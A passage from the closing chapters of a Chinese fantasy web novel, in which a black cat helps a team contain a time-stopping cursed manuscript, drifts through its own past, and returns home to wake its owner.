“我从小就被关在疗养院里,困在病床上,而我的影子,却能够随意地走路、奔跑,我期待属于影子的世界到来。” 苏乐:“但这不是你随便杀人的理由。” 夏双双后退一步,对萧向秦小声说:“小心,他还有影子。” 萧向秦点头,“嗯”了一声。 夏双双:“动手?他的能力是什么?” “不太清楚,暂时猜测是幻术。” “幻术。” 沉风渡勾起嘴角,抬起手,手掌扼住小猫的脖子。 “咪?”小咪抬头,呆呆地看着他。它的脑袋往前一递,下巴搁在人类的虎口上,身体微微震动,“呼噜呼噜。” “你们还没看过我的影子吧。”他看着几个人,手指合拢,被他掐住的小猫尾巴炸开毛,剧烈挣扎。 精神绷到极限的谢临风马上掏出武器,手指按下扳机。 “别,是幻术!”夏双双话音未落,“砰砰砰”数声枪响响起,子弹飞旋摄入青年的胸膛,鲜血瞬间染红他身上雪白的衬衫。 “喵呜。”小咪瞪大眼睛,看看沉风渡,又看看站在对面的人。 猫的尾巴晃来晃去,不知道自己该做什么。它把粉红肉垫打在沈风渡手背,小脑袋扭向萧向秦的方向,询问人类的意见,“喵呜?” 萧向秦表情冷峻,“咪咪,救他。” 沉风渡捏住小猫的爪子,低头,亲了口它滚热的肉垫。小猫粉红肉垫带着淡淡的糯米味,冲散了令人作呕的血腥味,它的肉垫温度很高,像太阳一样温暖,也许是因为运动,或是心情激动,肉垫颜色比平时更深,不是淡粉色,而是透着一丝红的肉粉色。 小猫:“咪呜?” 沉风渡咳嗽着,嘴角涌出血,低声说:“以前烛城……天上没有太阳,是……” 小咪听明白他的话,马上瞪圆眼睛。 难道他们进入的城市,就是以前的烛城?烛城太阳坠落,陷入一片黑暗之中,也并不是因为传说中的天狗吠日,而是时间被杀死了。 他们在暗世界回到从前,破开鬼域,这座城市便重见天日,正常地延续下来,只是保存下旧日的称呼。 烛城,就是红竹市。 书生梦里的白玉京。 它耳朵一动,低下头,鲜血从沉风渡身上往下,汇聚成一束,似条赤红小蛇,慢慢流往诗稿的方向。 那页染血的诗稿,不知为何,轻轻抖动了起来。 沉风渡摸着小猫柔软的毛,微微笑着,声音虚弱,“我对生的渴望,不比他少呢。这龙,我也未必不能屠一屠……” 糟了! 它想起山岗之上书生屠龙的模样,是对生的渴望,和对死的不甘,才铸成这把挥向时间的屠龙之剑。 天东有若木,下置衔烛龙。 吾将斩龙首,嚼龙肉,使之朝不得回,夜不得伏。 小咪歪头,看向青年惨白的脸,他也和书生一样,常年被困在病榻上,生命即将消亡,也同样愤恨着飞逝的时间。所以他同样想拿起这把屠龙之剑,再一次斩断烛城的时间,让红竹市陷入黑暗之中。 一切都在电光火石之间。 小咪扭头看向萧向秦他们。 孙菱谢临风拿着武器,紧张地对着沉风渡;苏乐崔姜在往旁边看,寻找其他的深渊信徒;而夏双双拧紧眉,偏头和萧向秦说着什么。 萧向秦目光微变,往前一步,快步走向诗稿,就在手快要触碰到诗稿时,他往前迈出的脚步,却踏在了身后。 他的身体在不受控制地后退,就像是电影画面倒放。 时间在倒流了。 楼里本来就昏暗,但小咪能感受到,有一种无声的黑暗在房间里蔓延,吞噬着一切。 楼下。 许多辆治安车停在庆康大楼门口,赵铮铮抬头,紧张地看着楼顶。 深夜,大多数市民已经睡下,马路上偶尔闪过一束快速移动的车灯。 “队长,”吉祥指了指治安车,“灯灭了?” 治安车的车灯突然熄灭了。 最开始他们以为是汽车故障,但接二连三,所有的治安车的光线都熄灭了,黑暗在往外蔓延。 “出什么事了?” “我的表怎么在倒转?” “队长、队长……” 赵铮铮皱紧眉头,稳定局势,拿出传唤机:“全体注意,最高级别应急响应立即启动,拦停全域所有行驶车辆,未来两天,所有非必要公共活动和工作暂停,保持通讯畅通,保持冷静,互助互救!” “队长,”吉祥语气慌张,“发生什么事了?” 赵铮铮摇头,“我也不知道,我们尽量做好准备。”她仰头望向楼顶,大楼沉入黑暗里,连轮廓都看不见,仿佛沉入另外一个世界,“看他们的了。” ———— “接近不了诗稿!” “尽量不要移动!” 两道声音同时在楼中响起,其他人纷纷停止动作。 时间正在往后退,这意味着,明天永远不能抵达,他们也永远无法终止这一切。 黏稠的黑暗压在每个人的身上,人类陷入沼泽,无法动弹,只能看着整座城市越堕越深。 就在这时,一点小小的、摇曳的烛光亮了起来。 烛光照在小黑猫漆黑顺滑的长毛上,闪着金光的毛发,就像一匹美丽的缎子。 它的嘴里咬着一把金属尖锥,锥尖泛红。 “咪咪把制灯工具带出来了!”崔姜惊喜道。 萧向秦放轻声音,“咪咪,把它带过来,交给我。” “咪呜。”小咪的胡须颤了颤,从喉咙里迸出一声响。 猫知道人类想干什么——牺牲自己,把尖锥插入胸口,燃尽自己的时间制成一盏油灯——在鬼域里,这一幕猫已经看见了无数次。 但猫不喜欢这样。 小咪跳下轮椅,蹬蹬跑到诗稿旁,鲜红从它身上淌了出来,落在地上,并不是血,而是金红色的火光,像碎裂的星星。 猫也不知道自己为什么要这样做,猫的小脑袋里装不下太多,它的生命里本来只有生存的本能,每天吃饱肚子活下来就好了。 但那天冬日太冷,小猫被人类捡回了家,猫变成一只有铲屎官的猫。它感受到很多很多……爱,这是从小在街头流浪的小猫,从未感受过的东西。爱无形无质,不能填饱肚子,也似乎没什么用,不符合小猫的生存之道,可为什么每次它被人摸摸头,会忍不住舒服得打呼噜呢? 微弱的光铺成一条小路,在地上漫开。 小咪吐下尖锥,歪头看着无风自动的染血诗稿,想了想,像在书房和爷爷练书法一样,认真地把自己爪爪按在上面。 “咪咪!” “别……” 在众人疾呼声里,一道闪电飞快地穿越黑暗,扑向了摇摇欲坠的烛光。 【完结】 第123章 小咪把肉垫重重按上去, 于是这张书生泣血书写的时间檄文,多了一只小猫的梅花爪印。 在触碰上名为“时”的污染物时,小猫视线陷入一片黑暗中,点点萤火像星星一样在眼前飞溅散开,照亮它金色的眼睛。它微微抬起头,看见了一条布满烟火气的街道,橘狸白狸懒懒散散地躺在太阳下,打滚又舔毛。 “喵呜喵呜~”它们朝它叫着。 冬天的阳光泛着凉意,人来人往的长街,一个女孩拖着24寸行李箱走入胡同。她的五官稚嫩,小心地踏入长街。 她拿着手机同人说话,表情迷惘,“我来胡桃街了,就红竹市最大那个城中村,希望不要碰见黑心房东吧,唉工作也没找好,真不知道未来是什么样……咦?有只咪咪!” 小黑猫蹲坐在几步外,大摇大摆地坐在路中央,抬起小脑袋,金色眼睛一眨不眨地望着她。 “太可爱了吧,咪咪。” 小猫的影子被阳光斜斜拓在地上。它瞪圆了眼睛,微微歪起头,定定看着向自己走过来的少女。 “喵、喵呜。”它的嘴套子微微抖动。 “好可爱的小猫, ”赵佳怡放下行李箱,慢慢蹲下身,黑眸里映出一只小黑猫的身影,她轻轻抬起手,试探地问:“ 咪咪,我可以摸摸你吗? ” “喵!” 小咪小猫冲刺,朝她跑过去,刚迈出一步,眼前景象碎裂,出现在了一扇熟悉的窗户外。 窗户半开,从中泻出一丝肉香。 小咪的鼻头微微耸动,小脑袋拱开窗户,把脸挤进去。 昏暗的室内,两位老人对坐在橘黄色的灯下,身影孤寂,头上闪着银光。桌上的菜很丰盛,他们却没有动筷子,呆呆坐在椅子上,好像时间都在此凝滞了一般。 “喵呜。”小咪叫了一声。 老人扭过脸,“咦,来了只小猫。” “小猫饿了吧?” “给它煮点鱼汤。” 屋里的时间忽然开始流动,他们朝它走过来,伸出手,小咪往屋子里一挤,把脑袋递过去,就在它快要蹭到奶奶干燥的手掌时,眼前景象又发生了变化。 “妈妈。” 小女孩伸手,指着蹲在路边的小黑猫,“有只小猫!” 小咪抬头,看着薛静秋稚嫩的脸,它已经明白发生什么了。 薛静秋旁边站着年轻的薛芦花。 女人中年模样,穿着身灰色风衣,鼻上架着黑框眼镜,表情冷淡,不像小咪记忆里的温柔慈祥。 “喵——” 小咪不敢再动了。 猫知道,此刻自己迷失在时间里,稍一动弹,就会移动到另外一片时间中,它只能保持着不动的方向,定定看着这一对母女,“喵呜。” 猫的声音低了下来,呜呜叫着。 小小的薛静秋心疼地看着它,“妈妈,它好像饿……”她扁了下嘴,打量小猫圆润的体型,改口道:“它在朝我们叫。” 薛芦花拉了拉她的手,“该去上学了。” 背着书包的小女孩眼神祈求,“妈妈……” 薛芦花:“学校不许养猫,走吧。” 薛静秋听话地任由母亲牵着手,一步一步往前走,只是一直低着头。 小咪定定看着她们远去的背影,不能追,它大声叫了起来,“喵——” “喵呜——” 小女孩猛地回头,但还是被母亲牵着,缓缓走向了前方,她小书包上的七星剑扣饰摆动,仿佛引领她走向自己的宿命。 小咪脑袋往前伸,“咪呜……” 薛静秋回过头,看向它,它控制不住身体,朝着女孩跑了过去。但只跑出一步,眼前景象骤变,恶臭钻入鼻孔,小咪摇摇晃晃从垃圾堆里爬了出来,地上,猫的影子已经缩小了一圈。 “咪呜。” 奶声奶气的猫叫响起,小咪马上扭头,寻找小奶猫的方向。垃圾箱里污臭的塑料腐烂的食品堆积成小山,它趴在山头,四处张望,没有找到小猫的身影。 小咪后知后觉意识到,奶猫的叫声是从自己口里发出的。 “喵呜?”它歪了歪头。 在它两三个月大,刚被母亲赶走独自生存时,它经常到垃圾箱里翻找食物。腹部传来闷闷的疼,它想起来了,大概这时是它被那个男人踹断肋骨不久。 瘦小的小黑猫趴在垃圾堆上,喉咙发出“呼噜”的声音来让自己安定下来。忽然,尾巴被咬了一下,它猛地回头,一只比它还大一圈的肥硕耗子瞪着猩红的眼睛,愣愣注视着它。 小咪不可置信地瞪圆眼睛,发出奶声奶气的低呜。 “喵呜?” 当了胡桃街老大这么久,它都忘记自己还有在垃圾箱里被耗子欺负的时候。那耗子不自量力地冲过来,小咪抬起爪子,掀翻它,一口就咬断它的脊骨,“咔嚓”声在嘴中响起,它把耗子丢到一旁,趴在原地发呆。 猫迷路了。 它不知道再迈出一步,自己会到哪里,时间在它的身上不再线性的流动,而是变成了了一团乱麻。小咪永远也猜不到,自己的爪子会触碰到哪一根时间线,如果再往前穿越,到了一个它还没有出生的年代,它还会存在吗? 小咪胡子耸动,轻轻、轻轻地叹出一口气。 生活不易,小猫叹气。 小咪想到什么,眼中浮现担忧。 它穿越的时间一直在往回流,却从未到达过未来,这说明一个很严重的问题——未来已死? 小咪抬起爪爪,觉得自己还应该再往前一步,看看是通往未来,还是过去。 这时,一个熟悉的人影站在垃圾桶前。 小咪瞪大眼睛,闪电趴在垃圾桶上,露出一双橘黄色的眼睛。它的影子站在垃圾桶前,费尔蒙警长温和宽厚的眼睛与小狗相似,他弯下腰,把垃圾桶里的小猫抱了起来,放在闪电的背上。 闪电身上同样流出点点萤火般的光芒,这点微光暂时稳定了时间。小咪按住它染红的皮毛,长着倒刺的小舌头舔着插在它身上的尖锥。 从飘萤般的光里,它看见闪电的记忆。 它从小就是一条优秀的警犬,在训练基地接受训练,还没立起的耳朵像个兔子一样抖动。 小咪看见当四周陷入黑暗时,它化身成一道闪电,冲到了小咪面前,叼住了地上的尖锥,和它一起进入乱流的时间里。 “坐好,我要开始跑了。”青年默默小猫的脑袋,对它说。 “喵呜。” 小咪抱住它的脖子。 闪电跑了起来。 它跑得很快,就像自己的名字一样,瞬间化作一道电光。周围的景象在飞快地变化着,小咪紧趴着闪电的毛,就像坐在一列飞驰的汽车上,窗外的时间快速流动。 它突然明白闪电想要干什么——一直这样跑下去,跑到时间的终点,跑到未来。 可以做到吗? 小咪回头往后看,它们的影子手牵着手,跟在后面奔跑,时间如滔滔的江流从两侧淌过,它们在巨龙的身体里跑过,穿越蒙蒙的黑暗里无数时间截面。 忽然之间,小咪又看见了那巨大的影子。 五六米的高大人影,穿着古人的宽袍,袍角流到了地上。两片羽毛从宽大的袖子里伸了出来,它轻盈地朝小猫走过来,袍角微动,露出地下一双指爪。 那略微尖耸的头部也逐渐清晰,这并不是人的脸,而是一个金色的鸡头,羽毛赤金,嘴唇短尖,红色的鸡冠像一束鲜亮的火苗。 “咪呜?” 闪电停下来了脚步,和小猫同步抬头,看着飘然而来的鸡头人。 酉鸡。 小咪的脑海里闪过这个名字。 酉鸡圆圆的眼睛看着他们,脸上没有什么表情,从尖嘴里发出的声音却柔和如水,是巫女大人的声音,“去吧,我送你们一程。” 它抬起双翅,扇起一阵狂风。 在狂风中,闪电猛地冲了出去。 “队长,天色好像没那么黑了。” 庆康大楼中,崔姜歪了歪头,似乎察觉到什么。 萧向秦快步走向诗稿,这次,他终于俯下身,碰触到了诗稿。他把诗稿用工具包起来,“黄级污染物,时,收容成功。” 孙菱表情黯然,“但是咪咪和闪电……” 她的裤子被什么东西扯了扯,抬脚一踢。 “喵!” 孙菱的腿僵在半空,隔了一两秒,慢慢慢慢地收回来。趴在她鞋子上的小黑猫马上跳到地上,大度原谅人类的一惊一乍,歪头蹭蹭她的裤脚。 “喵呜。”它扭头嗒嗒跑到了闪电的肚子下面,一头栽进它柔软的肚子上。 待猫猫狗狗带着一行人走出大楼,外面的世界天微微泛起鱼肚皮,恍惚中,所有人都听见一声响亮的鸡鸣。 雄鸡一唱天下白。 ———— “喵喵喵。” 小咪离开了他们,到马路上叫几声,叫来自己的专属大巴车。在天光微曦里,它回到了胡桃街上,和橘狸白狸礼貌蹭蹭脑袋。 “喵喵喵。”橘狸扯着嗓子大叫。 小咪在自己左右大将的护卫下,跳过几个铁架红棚,来到室友的窗外。窗里传来窸窸窣窣的声音,三花小猫跳上窗台,静静看着它。 小咪钻回窗里,和娘娘贴贴后,回到自己熟悉的猫窝里。它把全身都舔干净,看了眼外面的天色,跳到了床头。 “喵!”它叫了叫室友。 被窝里伸出一只手,关上了闹钟。 “喵啊——” 小咪跳到赵佳怡的胸口,踹起爪爪,对着她叫。 人,要起床了。 人,再不起床就要迟到了! 虽然刚刚拯救完世界,但小咪还记得自己早上要当小猫闹钟、催人类起床的责任。 它掐着时间,收起指甲,啪地一声拍在赵佳怡脸上。 赵佳怡弹坐起床,拿起手机一看,惊叫:“啊,要迟到了!!!” 刚跑下床,她咦了一声,又拿起手机瞅了眼,惊喜地睁大眼睛,“放假了?” “今天不是工作日嘛,好奇怪。” “管他呢,放假了放假了,放假就应该睡懒觉啊!”她一把把小咪抱进怀里,强行把它按在温暖被窝里,“咪咪,和我一起睡。” 小咪换了个姿势,侧躺在被窝里,小脑袋枕着赵佳怡的手臂,紧贴她温暖的身体。 被窝舒服柔软,它的爪爪一抓一合,对着空气踩奶。 “呼噜呼噜。” 小咪安静看了会照在玻璃窗上灿烂的阳光,困意慢慢来袭,它的眼皮一点点下坠。 太阳升起来了。 明天也会到来。 阳光照在白底绿花的被子上,睡熟的小黑猫砸吧砸吧嘴,好像在梦里闻见了鱼香。 等睡醒后,就去奶奶家吃鱼吧,猫还要去研究所、去治安局,查巡领地,保护自己的铲屎官。 猫可忙着呢。 至于拯救完世界要处理的事,它才不会想——它只是一只小猫,才不要工作。 小咪歪头蹭蹭铲屎官的手臂,想着这些事,迷迷糊糊地睡熟了。